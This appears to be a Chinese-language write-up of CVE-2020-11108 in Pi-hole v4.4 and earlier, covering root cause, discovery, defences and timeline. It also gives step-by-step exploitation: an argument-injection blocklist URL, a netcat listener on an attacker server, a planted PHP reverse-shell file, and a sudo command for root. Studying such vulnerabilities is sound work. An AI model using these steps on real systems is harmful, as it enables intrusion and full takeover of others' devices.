CVE-2020-11108: How I Stumbled into a Pi-hole RCE+LPE
字数 1878 2025-08-25 22:58:40
Pi-hole RCE+LPE漏洞分析及利用教程 (CVE-2020-11108)
漏洞概述
CVE-2020-11108是Pi-hole Web应用程序中的一个高危漏洞,允许认证用户实现远程代码执行(RCE)并提权为root(LPE)。该漏洞影响Pi-hole v4.4及更低版本。
漏洞影响
- 影响版本: Pi-hole v4.4及更低版本
- 攻击前提: 需要Web应用程序的认证用户权限
- 最终效果:
- 远程代码执行(RCE)
- 本地权限提升至root(LPE)
漏洞利用路径
存在两种利用方式:
- 可靠的RCE: 不依赖特殊条件,默认安装即可利用
- 有条件的RCE: 需要Pi-hole服务配置为NXDOMAIN模式
可靠RCE利用步骤
步骤1: 准备Payload
- 登录Pi-hole Web界面
- 导航至"Settings > Blocklists"
- 禁用当前所有拦截列表(加速利用过程)
- 输入以下payload作为新URL:
http://192.168.122.1#" -o fun.php -d "- 将IP地址替换为你控制的服务器IP
#是必需的-d后的空格也是必需的
步骤2: 设置监听
- 在控制服务器上使用netcat监听80端口:
nc -lvnp 80
步骤3: 触发漏洞
- 点击"Save and Update"按钮
- 几秒后netcat将收到GET请求
- 返回200响应(必需),按回车,输入任意内容,再按两次回车,然后Ctrl+c终止
步骤4: 写入Payload
- 再次使用netcat监听80端口
- 点击"Update"按钮更新Gravity
- 这次响应中应包含".domains"字样,表明利用成功
- 按回车,粘贴PHP payload(如反弹shell代码),然后Ctrl+c终止
步骤5: 执行Payload
- 如果使用反弹shell payload,设置监听器
- 访问以下URL触发payload:
curl /admin/scripts/pi-hole/php/fun.php - 成功获得www-data权限的shell
有条件RCE利用步骤
与可靠RCE类似,但需要满足以下条件:
- Pi-hole服务的BLOCKINGMODE配置为NXDOMAIN
区别点:
- 在步骤3中,收到的GET请求将包含":80:"字样
- 其他步骤与可靠RCE相同
权限提升(LPE)步骤
步骤1: 覆盖teleporter.php
- 重复RCE利用过程,但使用以下payload:
http://192.168.122.1#" -o teleporter.php -d "
步骤2: 执行提权
- 在已获得的www-data shell中执行:
sudo pihole -a -t - 该命令将以root身份调用被覆盖的teleporter.php
- 如果teleporter.php包含反弹shell payload,将获得root权限
技术分析
漏洞根源
漏洞位于gravity.sh脚本中的gravity_DownloadBlocklistFromUrl函数,具体问题在于curl命令的参数构造方式:
curl ${cmd_ext} ${heisenbergCompensator} "${url}" -o "${patternBuffer}"
cmd_ext和heisenbergCompensator变量未加引号,导致参数注入可能。
利用原理
-
heisenbergCompensator注入:
saveLocation变量构造为:${piholeDir}/list.${i}.${domain}.${domainsExtension}- 通过控制
domain参数注入额外curl参数 - 构造的payload使
heisenbergCompensator包含-o fun.php -d参数
-
cmd_ext注入:
- 仅当BLOCKINGMODE=NXDOMAIN时有效
cmd_ext构造为:--resolve $domain:$port:$ip- 通过控制
domain参数注入额外curl参数
限制因素
- 无法写入Web目录外的文件,因为所有"/"字符被过滤
- 写入的文件必须返回200 OK响应才能成功
漏洞发现过程
- 最初目标是寻找PHP反序列化漏洞
- 发现Blocklists功能可能接受用户控制的URL
- 分析发现后端使用curl下载列表
- 发现未加引号的变量导致参数注入
- 通过多次测试确定有效payload格式
防御措施
- 对所有变量使用引号
- 对用户输入进行严格过滤
- 限制Web用户的sudo权限
- 及时更新到修复版本
时间线
- 2020年3月29日: 报告漏洞
- 2020年3月30日: 分配CVE-2020-11108
- 2020年4月2日: 发现权限提升漏洞
- 2020年5月10日: 允许公开漏洞细节
总结
CVE-2020-11108展示了参数注入如何导致严重后果,特别是在高权限上下文中执行命令时。该漏洞利用链完整,从认证用户到root权限,强调了输入验证和最小权限原则的重要性。